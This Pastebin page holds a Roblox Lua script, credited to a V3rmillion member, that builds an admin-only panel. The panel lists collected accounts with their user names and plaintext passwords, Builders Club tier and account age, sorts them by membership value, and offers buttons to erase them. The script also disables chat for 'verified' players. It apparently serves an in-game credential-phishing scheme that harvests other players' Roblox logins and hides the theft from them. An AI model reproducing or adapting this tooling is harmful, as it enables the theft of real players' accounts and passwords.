Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Made by SeniorFight for V3rmillion and all of it's members!
- -- You don't need to change anything here - all is in the options module.
- local me = script.Parent
- local hold = me:WaitForChild("MainFrameHolder")
- local main = hold:WaitForChild("MainFrame")
- local details = main:WaitForChild("DetailsFrame")
- local content = main:WaitForChild("Content")
- local options = main:WaitForChild("OptionsFrame")
- local server = game:WaitForChild("ReplicatedStorage"):WaitForChild("MGU-Server")
- local config = server:InvokeServer("GetCustomParameters")
- if not config.Verifieds.CanChat and server:InvokeServer("IsVerified",game.Players.LocalPlayer) then
- if not server:InvokeServer("IsAdmin",game.Players.LocalPlayer) and not server:InvokeServer("IsBypass",game.Players.LocalPlayer) then
- if config.CreatorUltraProtect then
- if not game.Players.LocalPlayer.userId == game.CreatorId then
- game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
- end
- else
- game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
- end
- end
- end
- if not server:InvokeServer("IsAdmin",game.Players.LocalPlayer) then
- script.Parent:Destroy()
- return
- end
- local signal = me:WaitForChild("SignalCheck")
- local optoggle = main:WaitForChild("OptToggle")
- local Filter = {
- Mode = 0, -- 0 is <, 1 is >
- By = 1, -- 1 is name, 2 is bctype, 3 is age, no pass cuz y need dis?
- ByNames = {
- "Name",
- "BCType",
- "Age"
- },
- BCValues = {
- ["NON-BC"] = 0,
- ["BC"] = 1,
- ["TBC"] = 2,
- ["OBC"] = 3,
- ["V3rm Member"] = -1,
- ["Undefined"] = 0
- }
- }
- function ShowDetails(data)
- if not data then details.Visible = false return end
- details.UserName.Text = data.UserName
- details.UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=150&y=200&format=png&username="..data.UserName
- details.UserPass.Text = "Pass: "..data.UserPass
- details.UserBCType.Text = "Status: "..data.Type
- details.UserID.Text = "ID: "..tostring(data.UserID)
- details.UserAge.Text = "Age: "..tostring(data.UserAge) .. " days ~" .. tostring(data.UserAge / 365):sub(1,3) .. " yrs"
- details.Visible = true
- end
- details:WaitForChild("HideButton").MouseButton1Click:connect(function()
- details.Visible = false
- end)
- function RefreshContent()
- local list = server:InvokeServer("GetList")
- if list then
- content:ClearAllChildren()
- local function filtering(a, b)
- local par1, par2 = a.UserName, b.UserName
- if Filter.By == 2 then
- par1 = Filter.BCValues[a.Type] or 0
- par2 = Filter.BCValues[b.Type] or 0
- elseif Filter.By == 3 then
- par1 = a.UserAge
- par2 = b.UserAge
- end
- if Filter.Mode == 0 then
- return par1 < par2
- else
- return par1 > par2
- end
- end
- table.sort(list, filtering)
- -- Base Form for duplication
- local form = Instance.new("Frame")
- form.BackgroundTransparency = 1
- form.Size = UDim2.new(1, 0, 0, 30)
- local btag = Instance.new("TextLabel")
- btag.Size = UDim2.new(0.25, 0, 1, 0)
- btag.TextWrapped = true
- btag.TextColor3 = Color3.new(0, 170/255, 1)
- btag.BackgroundTransparency = 1
- btag.Font = Enum.Font.SourceSansBold
- btag.FontSize = Enum.FontSize.Size18
- btag.TextColor3 = Color3.new(0,0,0)
- btag.TextStrokeColor3 = Color3.new(0, 170/255, 1)
- btag.TextStrokeTransparency = 0
- local tag1 = btag:Clone()
- tag1.Parent = form
- tag1.Name = "NameTag"
- local tag2 = btag:Clone()
- tag2.Parent = form
- tag2.Name = "PassTag"
- tag2.Position = UDim2.new(0.25, 0, 0, 0)
- local tag3 = btag:Clone()
- tag3.Parent = form
- tag3.Name = "TypeTag"
- tag3.Position = UDim2.new(0.5, 0, 0, 0)
- local tag4 = btag:Clone()
- tag4.Parent = form
- tag4.Name = "AgeTag"
- tag4.Position = UDim2.new(0.75, 0, 0, 0)
- local detail = Instance.new("TextButton", form)
- detail.BackgroundTransparency = 1
- detail.Text = ""
- detail.TextTransparency = 1
- detail.Size = UDim2.new(1, 0, 1, 0)
- detail.Name = "DetailsButton"
- for x,data in ipairs(list) do
- local newForm = form:Clone()
- newForm.Name = "User="..data.UserName..";"
- newForm.Position = UDim2.new(0, 0, 0, (30 * x) - 30)
- newForm.NameTag.Text = data.UserName
- newForm.PassTag.Text = data.UserPass
- if data.Type == "BC" then
- newForm.TypeTag.TextStrokeColor3 = Color3.new(0, 170/255, 0)
- elseif data.Type == "TBC" then
- newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 170/255, 0)
- elseif data.Type == "OBC" then
- newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 0, 0)
- elseif data.Type == "V3rm Member" then
- newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 0, 170/255)
- end
- newForm.TypeTag.Text = data.Type
- newForm.AgeTag.Text = tostring(data.UserAge / 365):sub(1,3) .. " yrs"
- newForm.DetailsButton.MouseButton1Click:connect(function()
- ShowDetails(data)
- end)
- newForm.Parent = content
- end
- content.CanvasSize = UDim2.new(0, 0, 0, 30*#list)
- content.CanvasPosition = Vector2.new(0, 30*#list)
- end
- end
- signal.OnClientInvoke = RefreshContent
- optoggle.MouseButton1Click:connect(function()
- if options.Visible then
- options.Visible = false
- optoggle.Text = "<"
- else
- options.Visible = true
- optoggle.Text = ">"
- end
- end)
- local acterase = options:WaitForChild("ActionErase")
- local actbclear = options:WaitForChild("ActionClearBans")
- local optfilter = options:WaitForChild("OptionFilter")
- local eraseconf = false
- local eraselock = false
- acterase.MouseButton1Click:connect(function()
- if eraselock then return end
- if not eraseconf then
- eraseconf = true
- acterase.Text = "Sure ?"
- else
- eraselock = true
- eraseconf = false
- coroutine.resume(coroutine.create(function()
- while eraselock do
- for i=1,3 do
- if not eraselock then break end
- acterase.Text = "Erasing"..string.rep(".",i)
- wait(0.2)
- end
- end
- acterase.Text = "Erase Accounts"
- end))
- server:InvokeServer("Clear")
- eraselock = false
- end
- end)
- acterase.MouseLeave:connect(function()
- if eraseconf then
- eraseconf = false
- acterase.Text = "Erase Accounts"
- end
- end)
- local bclearconf = false
- local bclearlock = false
- actbclear.MouseButton1Click:connect(function()
- if bclearlock then return end
- if not bclearconf then
- bclearconf = true
- actbclear.Text = "Sure ?"
- else
- bclearlock = true
- bclearconf = false
- coroutine.resume(coroutine.create(function()
- while bclearlock do
- for i=1,3 do
- if not bclearlock then break end
- actbclear.Text = "Clearing"..string.rep(".",i)
- wait(0.2)
- end
- end
- actbclear.Text = "Clear Ban-List"
- end))
- server:InvokeServer("ClearBans")
- bclearlock = false
- end
- end)
- actbclear.MouseLeave:connect(function()
- if bclearconf then
- bclearconf = false
- actbclear.Text = "Clear Ban-List"
- end
- end)
- function UpdateFilterBtn()
- optfilter.Text = "Filter by: ".. Filter.ByNames[Filter.By] .. " " .. (Filter.Mode == 0 and "<" or ">")
- RefreshContent()
- end
- UpdateFilterBtn()
- optfilter.MouseButton1Click:connect(function()
- if Filter.Mode == 0 then
- Filter.Mode = 1
- else
- Filter.Mode = 0
- if Filter.By < 3 then
- Filter.By = Filter.By + 1
- else
- Filter.By = 1
- end
- end
- UpdateFilterBtn()
- end)
- optfilter.MouseButton2Click:connect(function()
- if Filter.Mode == 1 then
- Filter.Mode = 0
- else
- Filter.Mode = 1
- if Filter.By > 1 then
- Filter.By = Filter.By - 1
- else
- Filter.By = 3
- end
- end
- UpdateFilterBtn()
- end)
- me:WaitForChild("GUIToggle").Visible = true
- me.GUIToggle.MouseButton1Click:connect(function()
- hold.Visible = not hold.Visible
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement